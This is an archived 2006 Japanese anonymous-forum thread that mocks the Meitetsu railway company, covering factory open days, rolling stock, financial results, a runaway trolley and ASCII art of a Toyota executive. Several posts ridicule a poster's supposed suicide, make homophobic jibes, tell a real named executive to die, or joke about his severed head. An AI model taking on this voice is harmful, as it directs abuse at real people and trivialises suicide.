一般公開をあまりしないのは、JR東海も同じだね。
浜松工場しかしない。
浜工の場合は、工場側で出費が出ても、「浜松工場見学ツアー」で儲けてるから、
出費はある程度圧縮できてるけど。

478 :名無し野電車区:2006/11/14(火) 18:49:52 ID:ReoPgZOm
名鉄はもっと沿線に設備投資すべき

479 :名無し野電車区:2006/11/15(水) 02:38:06 ID:UaHDMUhT
>>475
舞木ってそんなにまとまりなくてイパーン人にとって危険なトコなの?あの千代田以上に?
五位堂じゃ立ち入り禁止のエリアにはトラロープ張って近くには必ず説明兼任の係員がいた。(モチ有給だろう)
そう言えば名鉄には弁当作れるグループ会社ってないんだっけ?あの近鉄ですら系列会社のグリ近があるから
そこに発注すれば簡単に弁当や軽食の販売ができてそこの「小銭稼ぎ」にもなる。
名鉄では自前になくても取引先に弁当屋があればそこに発注すれば可能と思うが。
ヲタ向けのガラクタだって今なら高安と塩浜でタダ同然で死ぬほど集められるし復刻品もオリジナルの資料を大切に保管してるから
南海の記念きっぷの様にいくらでもレプリカを造れる。(名鉄にも資料館あるしコレから大量廃車が控えてるので充分可能なはず)
あと、広報活動の一環と一笑に附したが「安全=空気」と思ってるイパーン人への啓発や車両整備の苦心を情報公開する意味でも意義は大きいと思うぞ。
むしろこう言った所をブラックボックス化する方が今の情勢においてはマズいんじゃないか ?!
>>476
オマエの理屈では千代田や五位堂のイベントで怪我人や死者が出ていてもおかしくない様な言い分だが
少なくとも両方のイベントに行った限りパトカーや救急車が出動する事態には出くわさなかったぞ。
東海地方の人間って大阪、それも河内地区の人間や奈良の人間よりモラル低いってことは絶対ありえないと思うよ?

480 :名無し野電車区:2006/11/15(水) 09:36:21 ID:Gerq3d/u
千代田や五位堂に限らず、検車区って言うのは一般人には危険なところではある。
その為に説明兼用で係員がいるんだけど、工場内部や車両付近はそれでもいいが、それ以外のバラストのエリアとか、
常時見てられないからね。
ちょっと神経質過ぎるかもしれないけど、検車区の人が常日頃一番気にしているのは「安全」「事故防止」なのだから、
そういうところを重視するのは当然だと思う。
でも、会社のイメージアップになるのは確かなので、安全面を見て公開しないか、効果を期待して公開するかは、
会社の上層部の判断だと思う。

イベント会場での販売は、確かに小遣い稼ぎになるけど、JR東、東海、西などは、グループ企業でないと、
場所代取られるから、グループ会社以外は出店業者はうまみは少ない。逆に主催者は場所代が入るね。
もっとも、小さい鉄道会社はむしろ店を出してほしい立場になるから、場所代は無いがね。

よく鉄道部品のレプリカを作れば?という話があるが、レプリカ作るととっても高くついて、
ヲタが納得いく価格では販売できない。大量生産すればいいんだろうが、残念ながらヲタ以外には売れないしね。
という事で廃車部品なんだけど、ヲタが気軽に持って帰れる大きさと重さの物、って案外無いと思う。



481 :名無し野電車区:2006/11/15(水) 12:16:19 ID:oosM3yau
気軽に持って帰れないものなんて京急だとよく売っているけどね。
京急はクロネコを呼んでいたけど、名鉄ならコグマでおkwwwwww

482 :名無し野電車区:2006/11/15(水) 17:37:36 ID:ENxChgqI
>>479
まとまりが無いのは舞木工場じゃなくて一般人のほう。
本来、工場見学ってのは、あらかじめそういうことを前提につくられてる工場ならともかく、
そうでないところは少人数のグループで視察する感じで、来客用ヘルメットを着用させて、
案内員に引率されて見学していくもの。
常に安全第一の工場を、イベント会場として大勢の一般人がヘルメットも無しで歩き回るように
させられるには、会場設営と綿密なリハーサルと必要以上の安全点検が必要になる。
パトカーや救急車が出動する事態でなければ問題ないかのような考えは通用しない。
要するに、舞木工場は一般人の大規模見学を想定して造られてはいないということだ。

それからすぐ「小銭稼ぎ」を持ち出してくるのが好きな人がいるが、そんな金額は工場の大規模な
一般公開イベントの費用に比べれば焼け石に水のようなものだ。弁当や軽食の販売をする以上は
清掃やゴミ処理費用がかかる。業者から場所代を徴収しても、その費用で消えてしまう。
グループ会社なら問題ないような言い方をしているが、グループ全体が一つの財布で賄われている
とでも思っているのだろうか。
ヲタ向けのガラクタ売りなら、何も工場見学イベントでやならくても他で開催しているだろう。

「一般人への啓発や車両整備の情報を公開すること」そういうこと広報活動の一環というのだ。
ただ大規模イベント化するかどうかは鉄道会社の判断次第だろう。
それに工場はブラックボックス化されていない。きちんと問い合わせれば団体で工場見学できる。
「個人で自由に参加できるように」と思うのは、工場の状況を踏まえれば身勝手な発想に近い。

483 :名無し野電車区:2006/11/15(水) 19:06:29 ID:E0II1wsd
>>482
まあ、落ち着け。
ID:+QwtxMyJがまたファビョるだろ。


あ、ID:+QwtxMyJは焼身自殺してこの世にいないんだっけ?wwwwwwwwwwww

484 :名無し野電車区:2006/11/16(木) 00:10:47 ID:RFN0H4by
確かに工場の安全に関しての見解は、>>482と大体同感かな〜。
ただ、鉄道会社の検車区って言うのはどこも大体同じ状況なので、千代田や五位堂にできて、
なんで舞木にできないの?っていうのもわかるかな。
舞木よりもっとブラックボックスにしないといけない日車の豊川でも工場公開した事あったし。
(実際問題は起きてしまったが・・・)。


485 :名無し野電車区:2006/11/16(木) 02:19:55 ID:F3ig011j
>>478
駅前の24hのパレつくれ
駅前の図書館つくれ

486 :京急乗る人おけいきゅう ◆pAMaMF7CJg :2006/11/16(木) 07:55:39 ID:IbR1PIM1
静岡地区は、オールロングの313系だとか。
写真が出てた・・・。

487 :名無し野電車区:2006/11/16(木) 21:59:12 ID:aHfuu4Zc
>>486
○オール転クロ6コテ。
車体間ダンパ+セミアクティブサスと現状車両側で出来ることの大半を盛り込み
在来線最強と言われる5000番台。
○オールロング。オールロング…とにかくロング
製造は粗悪品製造工場と名高い近車。
5000番台とは似ても似つかない2500(2600)番台

最強と最悪が共存する不思議な形式313系。
だが、名鉄だって同じ事をやらないとは限らない
6Rを瀬戸から転属するって話が、211-500を大垣から静岡に転属させたのとダブって見えるのは気のせいか?

488 :名無し野電車区:2006/11/17(金) 09:49:11 ID:Yux3gU6W
迷鉄\(^O^)/オワタ

489 :名無し野電車区:2006/11/17(金) 19:38:37 ID:0/SOXyvo
a

490 :名無し野電車区:2006/11/17(金) 20:08:08 ID:p7v11uhD
>>487
211系に500番代はありません。

491 :名無し野電車区:2006/11/17(金) 20:21:32 ID:ayD2IIQa
関係ないけどこれって→\(^o^)/笑ってるのにオワタなの?

492 :名無し野電車区:2006/11/17(金) 20:40:28 ID:A3BvNGoB
>>490
空気読んでくれ
どうみても211-5000のタイプミスだろ

493 :名無し野電車区:2006/11/17(金) 22:29:08 ID:AoKyzPoW
名鉄

糸冬 了

494 :名無し野電車区:2006/11/18(土) 10:25:08 ID:e5MZWvox
>>491
アンチスレなんだから標的が倒れれば喜ぶのは当然
日本語理解できないんですか?

495 :名無し野電車区:2006/11/18(土) 13:11:13 ID:7AUAr+1K
>>494
だが、本当に名鉄が壊滅してしばらく経つとものすごい虚脱感に襲われるのは間違いないぞ。

496 :名無し野電車区:2006/11/18(土) 13:16:35 ID:7AUAr+1K
あ、AA書き忘れてたが

名鉄倒産直後 ヤター!\(^0^)/ヤター!
その数時間後 ア"〜… (゜q 。)ア"〜…

こんな具合にな。

497 :名無し野電車区:2006/11/18(土) 14:54:21 ID:+GHS3jr/
ワロタ

498 :名無しの電車区:2006/11/18(土) 21:45:35 ID:oJhY0REV
ここまで没落の道を歩むなら、
「名古屋地方鉄道」
とでも改名したら?(どこかで聞いたような社名だが)

499 :名無し野電車区:2006/11/18(土) 21:49:51 ID:I0IpVXbK
名古屋 がついているからそれだけで 田 舎 のローカル鉄道会社を表わします。
だから 名古屋鉄道 でよいのです、強いて言えば 大名古屋電気鉄道 にでもしますか。

500 :名無し野電車区:2006/11/18(土) 21:53:40 ID:D3skU+kT
500 GET

501 :名無し野電車区:2006/11/19(日) 12:09:51 ID:sRQeq6Xp
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502 :名無し野電車区:2006/11/19(日) 12:12:51 ID:sRQeq6Xp
19日から中部国際空港で始まるクリスマスイベントをPRしようと、
サンタに扮(ふん)した空港キャラクター「なぞの旅人フー」の
ラッピング広告を施した特急電車が18日、名古屋鉄道空港線に
登場した。

電車で訪れる来場者を増やそうと、名鉄が空港と共同で企画。
12編成ある特急ミュースカイのうち1編成(4両)に広告が施された。


503 :名無し野電車区:2006/11/19(日) 12:40:37 ID:sZTZYDp/
ソフト面の改善策としてか分からないけど・・・
例えば主要駅での特急だけでも時刻表がいらずに乗れる『毎時○分発!』とかは、できないかな・・・・
支線から乗入直通する運用が多いからスジ屋は大変だろうけども。
たかがこの程度のサービスでは効果はでないか・・・orz

504 :名無し野電車区:2006/11/19(日) 14:28:56 ID:K4OLwcaD
既に日中はほぼそうなってますが…

505 :名無し野電車区:2006/11/19(日) 16:05:37 ID:zJ9js4Qo
>>499
ほんでも7000、5000、3400、過去にいくほど外観がいいな。最近の名鉄車両の外観レベルが悪化してるのは戦後の偏差値教育の弊害か?

506 :名無し野電車区:2006/11/19(日) 16:11:57 ID:GElPbxZP
成東駅利用者は勝ち組。成東駅利用者は勝ち組。成東駅利用者は勝ち組。
成東駅利用者は勝ち組。成東駅利用者は勝ち組。成東駅利用者は勝ち組。
成東駅利用者は勝ち組。成東駅利用者は勝ち組。成東駅利用者は勝ち組。
成東駅利用者は勝ち組。成東駅利用者は勝ち組。成東駅利用者は勝ち組。
成東駅利用者は勝ち組。成東駅利用者は勝ち組。成東駅利用者は勝ち組。
成東駅利用者は勝ち組。成東駅利用者は勝ち組。成東駅利用者は勝ち組。
成東駅利用者は勝ち組。成東駅利用者は勝ち組。成東駅利用者は勝ち組。

507 :名無し野電車区:2006/11/19(日) 18:57:26 ID:pvVc8x8M
>>499
>大名古屋電気鉄道

昭和初期に設立計画があった会社みたいだな。

508 :名無し野電車区:2006/11/19(日) 19:48:09 ID:ptrLfNR9
  (⌒) (⌒∩    (⌒) (⌒∩.   (⌒) (⌒∩
  (`・●・´)ノ    (`・●・´)ノ    (`・●・´)ノ
 (つ    /    (つ    /.     (つ    /
 (   ノ       (   ノ      (   ノ
  ∪ ∪       ∪ ∪        ∪ ∪



509 :名無し野電車区:2006/11/20(月) 00:24:08 ID:0BxIOM+6
>>505
多分製造する会社の手抜きです。

510 :名無し野電車区:2006/11/20(月) 01:12:05 ID:W37xXsuE
>>509
それよりも必要以上に発注時に価格を低く買い叩く鉄道会社のほうが問題。

511 :名無し野電車区:2006/11/20(月) 02:03:37 ID:DVdYbuvd
名鉄は潰れないでほしい。
潰れた瞬間JRの態度が変わるのは目に見えている。

512 :名無し野電車区:2006/11/20(月) 02:09:30 ID:4EcrgGIq
名鉄潰れてほしい。
名鉄潰れて小田急に吸収されて小田急3000形や中古のVSEが走ればいい。

513 :名無し野電車区:2006/11/20(月) 02:38:11 ID:4EcrgGIq
名鉄百貨店が小田急百貨店になったら仕入れの商品もかわる

514 :名無し野電車区:2006/11/20(月) 03:54:30 ID:luksP74F
名鉄百貨店潰れたら困るせっかくメンズ館が出来たのに
名古屋鉄道が潰れたとしても名鉄百貨店は伊勢丹名古屋店になるならよいけど

515 :名無し野電車区:2006/11/20(月) 09:15:15 ID:h272+m1n
>>514
「名鉄百貨店は伊勢丹名古屋店になるならよいけど 」
いいねえ〜。名古屋に伊勢丹無いから、ちょうどいい。

516 :名無し野電車区:2006/11/20(月) 17:42:18 ID:Z1BzgMkI
伊勢丹が鉄道事業も始めたら名鉄のフンドシカー(ミュースカイ)を廃車、
でもって客寄せに新型パノラマカーをつくる

517 :名無し野電車区:2006/11/20(月) 17:55:11 ID:SovSn5KN
伊勢丹はその気(乗っ取る気)で
名鉄百貨店と提携したにきまってるじゃんw
一宮市民としては、一宮名鉄が無くなるのは困る・・
個人的には、ちょっと高級なスーパーとして残して欲しい

それより、一宮〜岐阜って客ガラガラなのに運転本数を
減らしてないのが気にいらないw

それだけ踏切しまってる時間長いから不便でしょうがない
さらにJRを平行してるところなんて悲惨だよ・・
岐阜行普通いったあと、次の列車もうそこまで来てるし
なのに客ガラガラw まじで本数削減して

518 :名無し野電車区:2006/11/20(月) 19:53:51 ID:w+j1jbhi
>>517
本数削減はこのスレにおいてサービス悪化ということなので、
そのような発言は止めてください。

519 :名無し野電車区:2006/11/20(月) 21:45:07 ID:Toe9dnN1
ふんどし電車の中ってどんな匂いがするのだろう?

520 :名無し野電車区:2006/11/20(月) 23:27:53 ID:UpufiLyb
>>518
このスレだから発言しても良いんじゃね?
このスレ、アンチスレだよ。

521 :名無し野電車区:2006/11/21(火) 11:20:04 ID:ieNSQqLp
本数削減どころか、廃止という発言まで飛びかっているのに。

522 :名無し野電車区:2006/11/21(火) 12:03:53 ID:6fSKCuLP
>>520
本数削減とか言う常識的な発言は名鉄の効率的な経営の助けになりますので
このスレにふさわしくありません。

523 :名無し野電車区:2006/11/21(火) 13:36:14 ID:BUXY18dD
地元で不人気ふんどし顔のミュースカイ。失敗作だなあれは。

524 :名無し野電車区:2006/11/22(水) 00:45:00 ID:286DFaP0
BUXY18dDは褌に萌えるホモさんですねwww

525 :名無し野電車区:2006/11/22(水) 17:35:41 ID:XH0JStx8
名鉄完全に終わったな

名鉄の9月中間、経常益14%減(2006/11/20 19:43)
http://company.nikkei.co.jp/news/news.cfm?Nik_Code=0001852&Page=1&Back_sid=IR_CT&genreCode=m3&newsId=d2d2000x20&newsDate=20061120&RELEASE=2006/11/20
名古屋鉄道が20日発表した2006年9月中間決算は、経常利益が前年同期比14%減の144億円だった。
愛知万博の閉幕や中部国際空港の開港特需一巡で、減収減益となった。
経常利益は営業外収支の改善などで、従来予想を25億円上回った。株主配分を厚くするため
07年3月期の期末配当に0.25円上積みし、年3.75円配とする。
 中間期の売上高は10%減の3370億円だった。特需の反動減に加え、一部流通子会社の事業撤退などが響いた。
営業利益は26%減の159億円。不動産事業の好調などで減益幅は従来予想よりも縮小した。
固定資産の減損損失がかさみ純利益は45%減の25億円だった。


526 :名無し野電車区:2006/11/22(水) 18:06:17 ID:YbrOdX3E
名鉄よ
岐阜の役目は終わった。
一宮〜岐阜
竹鼻・羽島線
各務原線全線
広見線・新可児〜御嵩間
全て廃止
岐阜バスも全線廃止か営業譲渡
西尾〜蒲郡
佐屋〜弥富も廃止
各務原線は線路は倒壊に売却しろ


527 :名無し野電車区:2006/11/22(水) 18:23:57 ID:ptYkbOp3
倒壊の名松線に続いて迷鉄も左京山でトロッコの無人走行やらかしたね
倒壊も迷鉄も似たり寄ったりってことなのかな?

528 :名無し野電車区:2006/11/22(水) 19:36:18 ID:H8ofjA+J
>>527
水面下ではすでに冥迭は倒壊の子会社。

529 :名無し野電車区:2006/11/22(水) 22:43:00 ID:QuhQE0Kp
>>526
当然、小牧線も廃線だろ?

530 :名無し野電車区:2006/11/22(水) 23:16:37 ID:4Ov7XIX3
名鉄は、名古屋で行き先に迷うから迷鉄って書くのか。

531 :名無し野電車区:2006/11/22(水) 23:22:36 ID:ibnRAopv
迷走を続ける鉄道会社だから迷鉄。じゃね?

532 :名無し野電車区:2006/11/22(水) 23:24:53 ID:NYv/Ifvk
名古屋圏の鉄道は全て廃止!

533 :名無し野電車区:2006/11/23(木) 02:06:23 ID:XiLfs3yO
トヨタ市とかには鉄道はイラネ。

534 :名鉄ニュース:2006/11/23(木) 10:32:15 ID:XyoRAwl2
作業用トロッコの停止手配中の不手際により、
当該トロッコが無人のまま、名古屋本線左京山
1号踏切から鳴海1号踏切まで約1.3kmの間、
逸走するという事例が11月21日(火)
午前0時50分頃、発生しました。本件に伴う
ケガや一般車両の被害等はございませんでした。
皆様にご心配をお掛けしたことをお詫び
申し上げるとともに、今後このようなことが
無いように安全確保に努めてまいります。
なお、本件につきましては、中部運輸局に11月21日(火)
報告いたしております。


535 :名無し野電車区:2006/11/23(木) 10:46:09 ID:tTjru8sm
今後名鉄は本線にトロッコ車両を導入し、乗客の皆様にお楽しみ頂く所存です。

536 :名無し野電車区:2006/11/23(木) 12:48:37 ID:De/4r3T0
>>535
減収減益・・・
もう名古屋本線廃止でいいんじゃない? 倒壊増発でご臨終だし
廃線後はトロッコ王国でも作って、それだけに限定したら(w



537 :名無し野電車区:2006/11/23(木) 13:23:14 ID:fBGL/MOi
中京圏ごときにに大手私鉄、JRはいらない

538 :名無し野電車区:2006/11/23(木) 14:17:09 ID:hunnC/2l
ト○タ様の天下に鉄道など 不要!


539 :名無し野電車区:2006/11/23(木) 17:28:50 ID:blPFYMwg
>>538
バスやヒコーキ、フネは、いる〜?

540 :名無し野電車区:2006/11/23(木) 19:34:36 ID:XiLfs3yO
>>539
船が無いと貿易ができないし、飛行機が無いと遠くに行けないし、
バスが無いと旅行ができないが、鉄道が無くても何とかなるよな

541 :名無し野電車区:2006/11/23(木) 20:13:59 ID:blPFYMwg
>>540
クルマ買えば全て丸く収まるじゃないか!!
中空も団子でタイーホ者続発すればたちまち廃港されるから成田まで行かないとヒコーキ乗れない。
関空はないって事にしてくれ。
貿易は他の港に賄ってもらって港は全部砂浜や干潟や魚のマンションに作り替えた方がよい。

542 :名無し野電車区:2006/11/23(木) 20:17:47 ID:tTjru8sm
じゃあ新幹線も全列車名古屋通過でいいんですね?文句ないですね?

543 :名無し野電車区:2006/11/23(木) 20:23:57 ID:Dsdgs+H9
急行 新 可 児
Exp.  Shin-Kani

544 :名無し野電車区:2006/11/23(木) 20:29:11 ID:blPFYMwg
>>542
イ〜〜〜〜ヨォォォォ〜〜〜〜〜〜ン!!!!!!!!!!!!!!
できれば

  のぞみ  新大阪  16:00(全車指定席)

  停車駅  京都  京都までとまりません

っての作ってくれない?

545 :名無し野電車区:2006/11/23(木) 20:38:40 ID:Z105N3Rs
鶴丸東高東赤森平 上瀬味南味春牛間小小小味神楽羽犬
舞田新丘片塚下安 飯古鋺味美日山内口牧原岡社田黒山
●●●●●●●● ●―――●――――●―――――● 急行
●●●●●●●● ●●●●●●●●●●●●●●●● 普通

546 :名無し野電車区:2006/11/23(木) 20:45:09 ID:lEcuNrSC
新幹線名古屋駅ホームを撤去すれば東京-新大阪2時間20分が実現するかもね。

547 :名無し野電車区:2006/11/23(木) 21:14:36 ID:XiLfs3yO
>>541
トヨタ車の最大の輸出港であり、
かつトヨタ車の主要材料の鉄を最も多く輸入してる港は名古屋港だよ。
そしてトヨタの社員が社用で一番利用するのがセントレアだよ。
それにバス・トラックの日野自動車はトヨタの子会社だろ?
馬鹿なことは言わないように・・・・・・

548 :名無し野電車区:2006/11/23(木) 22:51:53 ID:blPFYMwg
>>547
だったらトヨタは車種ごとに工場を全国津々浦々分散的に建設して大都市との格差にあえいでいる地方振興に貢献するのが義務であり
格差社会を影で推進させた償いをしていただきたい。

549 :名無し野電車区:2006/11/23(木) 23:27:13 ID:tEFflLcc
         /;;;;;;;;;;;;;;;;;;;;;Yヽ、
        /;;;;;;┌--‐""""ヾ,ヽ  )) フム
   r、r.r 、:::::;;;ソ         ヾ;〉       フム
  r |_,|_,|_,|;;;;;;;l  ___ __i|  ))
  |_,|_,|_,|/⌒リ─| -="-H (-="|!     ぁぁそうなんですか・・・・
  |_,|_,|_人そ(^i  `ー─' |ー─'|    あなたも(>>548)大変ですな・・・
  | )   ヽノ |  '"" )、__) ""ノ!    ご心中お察しいたしますw
  |  `".`´  ノ   `ー-ニ-イ` |
 人  入_ノ     ⌒  ./  ))
      /ヽ         /
     /  ヽ\ ヽ____,ノヽ

550 :名無し野電車区:2006/11/23(木) 23:32:32 ID:tEFflLcc
         /;;;;;;;;;;;;;;;;;;;;;Yヽ、
        /;;;;;;┌--‐""""ヾ,ヽ
   r、r.r 、:::::;;;ソ  /'  '\ヾ;〉  ?
  r |_,|_,|_,|;;;;;;;l  ___ __i|
  |_,|_,|_,|/⌒リ─| (・ ) H (・ ) |!
  |_,|_,|_人そ(^i  `ー─' |ー─'|  ・・・で、何がおっしゃりたいの?
  | )   ヽノ |  . ,、__)   ノ
  |  `".`´  ノ   ノ   ヽ  |
 人  入_ノ    ノ ̄i  ./
      /ヽ   ヽニニノ  /
     /  ヽ\ ヽ____,ノヽ

551 :名無し野電車区:2006/11/24(金) 02:24:44 ID:fu/pye75
情けない鉄道会社

552 :名無し野電車区:2006/11/24(金) 07:35:08 ID:klJ5y/oI
もし廃業ギリギリな状態になっても
塗れ煎餅でなんとか維持するように努力するあの鉄道会社のようにはならないだろうね
今のような上から見下すような体質じゃ見向きもされない

553 :名無し野電車区:2006/11/24(金) 17:22:37 ID:ND1EJpOH
>>533>>538
 阿呆だなあ。トヨタも鉄道を利用する所ではしているんだが。

554 :名無し野電車区:2006/11/24(金) 18:21:05 ID:LxxWGSYu
トヨタ車は外観が悪いダサすぎる。本社ビルも工夫がない

555 :名無し野電車区:2006/11/24(金) 23:55:28 ID:8RzAghUJ
こんな高い運賃で電車に乗るわけないじゃん。
運賃を安くしろ!話はそれからだ。

556 :名無し野電車区:2006/11/25(土) 00:02:38 ID:/cPd01nK
         /;;;;;;;;;;;;;;;;;;;;;Yヽ、   ??
        /;;;;;;┌--‐""""ヾ,ヽ
   r、r.r 、:::::;;;ソ  /'  '\ヾ;〉,;^,^,;ヽ
  r |_,|_,|_,|;;;;;;;l  ___ __i| |,_|,_|,_|ヽ
  |_,|_,|_,|/⌒リ─| (・ ) H (・ ) | |,_|,_|,_|, | >>554
  |_,|_,|_人そ(^i  `ー─' |ー─'| |,_|,_|,_|, | え?何かおっしゃりましたか?
  | )   ヽノ |  . ,、__)   ノ     ( |
  |  `".`´  ノ   ノ   ヽ  | `´.゙`  |
 人  入_ノ    ノ ̄i  ./  入 __ 人
      /ヽ   ヽニニノ  / \     ヽ
     /  ヽ\ ヽ____,ノヽ


557 :名無し野電車区:2006/11/25(土) 01:02:36 ID:PqiHLIqI
>>556
奥田さん! あなたにたってのお願いがあります!!




   死    ね    や    !  !  !  !  !  !  !  !





558 :名無し野電車区:2006/11/25(土) 01:44:07 ID:0c4QePed
         /;;;;;;;;;;;;;;;;;;;;;Yヽ、
  ((     /;;;;;;┌--‐""""ヾ,ヽ  )) クックッ
   r、r.r 、:::::;;;ソ         ヾ;〉
  r |_,|_,|_,|;;;;;;;l  ___ __i|  ))
  |_,|_,|_,|/⌒リ─| -="-H (-="|!     ぁぁそうなんですか・・・・
  |_,|_,|_人そ(^i  `ー─' |ー─'|    血圧が上がりますよwwwww(>>557)
  | )   ヽノ |  '"" )、__) ""ノ!      
  |  `".`´  ノ   `ー-ニ-イ` |        クスクス
 人  入_ノ     ⌒  ./  ))  
      /ヽ         /
     /  ヽ\ ヽ____,ノヽ


559 :名無し野電車区:2006/11/25(土) 02:01:15 ID:0c4QePed
        /;;;;;;;;;;;;;;;;;;;;;Yヽ、 ニヤ
      /;;;;;;┌--‐""""ヾ,ヽ
    /:::::;;;ソ   /' '\ ヾ;〉 ホジホジ
    〈;;;;;;;;;l  ___ __i|
   /⌒ヽリ─| -・=-H -・=-|!    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   | (     `ー─' |ー─'|  < いやいや怖いですね〜負け犬共の遠吠えというのはwww
   ヽ,,  ヽ   . ,、__と'⌒^^ヽ、  \___________________
      |     ノ     ヽ   ヽ
      ∧     ヽ三ノ ト、    \  ニヤ
    /\ヽ        / `、 / ̄ \
  / \ ヽ\ ヽ____,ノヽ ヽ     ヽ

560 :名無し野電車区:2006/11/25(土) 02:37:01 ID:D3eIRH+5
        /;;;;;;;;;;;;;;;;;;;;;Yヽ、 ニヤ
      /;;;;;;┌--‐""""ヾ,ヽ
    /:::::;;;ソ   /' '\ ヾ;〉 ホジホジ
    〈;;;;;;;;;l  ___ __i|
   /⌒ヽリ─| -・=-H -・=-|!    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   | (     `ー─' |ー─'|  < いやいや残業代なんて払う必要ないんですよwww
   ヽ,,  ヽ   . ,、__と'⌒^^ヽ、  \___________________
      |     ノ     ヽ   ヽ
      ∧     ヽ三ノ ト、    \  ニヤ
    /\ヽ        / `、 / ̄ \
  / \ ヽ\ ヽ____,ノヽ ヽ     ヽ


561 :名無し野電車区:2006/11/25(土) 04:00:55 ID:XvSWx8pF
大人しい日本人はサービス残業に励め。
税金払え。
社会保障費もどんどん払え。
奴隷のように働け・・・か



人生嫌になった・・・orz

562 :名無し野電車区:2006/11/25(土) 11:57:20 ID:1FxuMcIj
名鉄のふんどしで今も相撲をとってる某同業他社は、ふんどし2000系をパクらないんだろう?なあ岡部憲明。


不人気ふんどしってこと?

563 :名無し野電車区:2006/11/25(土) 13:36:04 ID:NFo2m0jp
やはり鉄道は必要でしょ。
学生や車のない人はみんなバスで通えっていうの?

そんなことより近鉄と合併しちゃえ!
株価も低いものどうしで♪

564 :名無し野電車区:2006/11/25(土) 14:06:25 ID:NnaKRGz6
>>563
近鉄パッセを名鉄百貨店に売却したらいいよな。
北から名鉄本館・パッセ館・メルサ館・セブン館・レジャックと並べて高島屋に対抗すべきだよ

565 :名無し野電車区:2006/11/25(土) 14:07:21 ID:a/hQX6YP
幅がぜんぜん違うだろ?

566 :名無し野電車区:2006/11/25(土) 14:14:47 ID:NFo2m0jp
>>564
そうそう、あのあたりの古い百貨店郡をなんとかできないかな♪

>>565
阪神と阪急も線路がつながる訳じゃないでしょ。

567 :名無し野電車区:2006/11/25(土) 14:45:51 ID:eIRCnO56
>>565
近鉄は養老線が1067ミリで、内部・八王子線は762ミリ。
幅が違ってたって同じ会社だよな。

568 :名無しでGO!:2006/11/25(土) 15:58:20 ID:PqiHLIqI
      /;;;;;;;;;;;;;;;;;;;;;Yヽ、 
      /;;;;;;┌--‐""""ヾ,ヽ
    /:::::;;;ソ   /' '\ ヾ;〉 
    〈;;;;;;;;;l  ___ __i|
   /⌒ヽリ─| -○-H -○-|!   
   | (     `ー─' |ー─'|  
   ヽ,,  ヽ   .__),、__  ⌒| 
      |     ノ     |
      |    |ヽ三ノ ト  
          |    / 
         ヽ____,ノヽ 
  ====================


とりあえず奥田のさらし首、置いときますね。



569 :名無し野電車区:2006/11/25(土) 16:02:07 ID:6qaFUQ8E
名鉄と近鉄が合併したら近畿名古屋鉄道株式会社になるのか?

でもなんとか合併で救われても隣線には神のJR東海があるからな・・・

名鉄はJR東海の子会社となり立て直したほうがいいだろ・・・。

570 :名無し野電車区:2006/11/25(土) 22:45:36 ID:Z954DzCL
2006年9月中間期旅客数、名古屋鉄道は前年同期比0.9%減
http://www.jiji.co.jp/jc/c?g=ind_30&k=2006112400913

571 :名無し野電車区:2006/11/25(土) 22:49:48 ID:RUEM01+8
・種別を快速特急、特急、急行、普通に
・特急は朝夕のみ運転
・中国空港〜金山間で急行を運転(金山から普通)
・夕方の本線常滑線で座席指定快速特急「μ-wing」を運転
・豊橋方面の電車と知多半島方面からの電車が金山で連結、各方面へ
コレで良くなる名吉屋急行電てt(ry

572 :名無し野電車区:2006/11/25(土) 23:18:23 ID:nz1Gq5Zr
        /;;;;;;;;;;;;;;;;;;;;;Yヽ、
      /;;;;;;┌--‐""""ヾ,ヽ  フッ
    /:::::;;;ソ   /' '\ ヾ;〉
    〈;;;;;;;;;l  ___ __i|  >>568
   /⌒ヽリ─| -・=-H -・=-|! ・・・・面白くない冗談ですな
   | (     `ー─' |ー─'|
   ヽ,,  ヽ   . ,、__)   ノ!
      |      ノ   ヽ  |
      ∧     ー‐=‐-  ./
    /\ヽ         /    ノ7_,,, 、
  /(⌒、"⌒ソ⌒ヽ__,ノヽ  ( ィ⌒ -'"",う
 /  ~''(_)(_)(_)(_)ソ     ヽノ   ,イ^

573 :名無し野電車区:2006/11/25(土) 23:41:17 ID:XvSWx8pF
○田氏のAA似ていますよね、オリジナルでつか?

574 :名無し野電車区:2006/11/25(土) 23:48:38 ID:nz1Gq5Zr
>>573
NO

575 :名無し野電車区:2006/11/26(日) 00:34:07 ID:JdV4CuqG
 

576 :名無し野電車区:2006/11/26(日) 01:30:53 ID:JZtPfe0u
        /;;;;;;;;;;;;;;;;;;;;;Yヽ、
      /;;;;;;┌--‐""""ヾ,ヽ  
    /:::::;;;ソ   /' '\ ヾ;〉
    〈;;;;;;;;;l  ___ __i| 
   /⌒ヽリ─| (。)H (゜)|! 
   | (     `ー─' |ー─'|
   ヽ,,  ヽ   . ,、__)   ノ!
      |      ノ   ヽ  |
      \     ー‐=‐-  ./
      ヽ_________________
  ======================


労働者を追い詰め続けてるといずれ貴様等にその罪業が跳ね返って来るって事を忘れるなよ・・・・!!


577 :パトラッシュ ◆6jkJQO2fyY :2006/11/26(日) 01:49:24 ID:JE27tIYc
ト○タエゴプロジェクト

578 :名無し野電車区:2006/11/26(日) 02:55:53 ID:qIE6UgjY
        /;;;;;;;;;;;;;;;;;;;;;Yヽ、
      /;;;;;;┌--‐""""ヾ,ヽ  ヤレヤレ・・・
    /:::::;;;ソ   /' '\ ヾ;〉
    〈;;;;;;;;;l  ___ __i|  >>576
   /⌒ヽリ─| -・=-H -・=-|! 愚民に諭したとて理解できる頭をお持ちではないか・・・ダメダwww
   | (     `ー─' |ー─'|  一生愚痴ってなさいw 僻んでなさいw 非凡な労働者達よw
   ヽ,,  ヽ   . ,、__)   ノ!
      |      ノ   ヽ  |     フー
      ∧     ー‐=‐-  ./ -=⌒)
    /\ヽ         /    ノ7_,,, 、
  /(⌒、"⌒ソ⌒ヽ__,ノヽ  ( ィ⌒ -'"",う
 /  ~''(_)(_)(_)(_)ソ     ヽノ   ,イ^


579 :名無し野電車区:2006/11/26(日) 11:51:47 ID:B8gjkeUG
なんだこの奥田だらけのスレはw

580 :名無し野電車区:2006/11/26(日) 13:59:31 ID:CEhCCRbr
名鉄その他の公共交通機関が廃止となれば、代替手段はそれしかなくなるからでしょ!
だからアンチ名鉄でおk

581 :名無し野電車区:2006/11/26(日) 14:16:00 ID:JZtPfe0u
>>578
パワーハラスメント!! パワーハラスメント!!!!

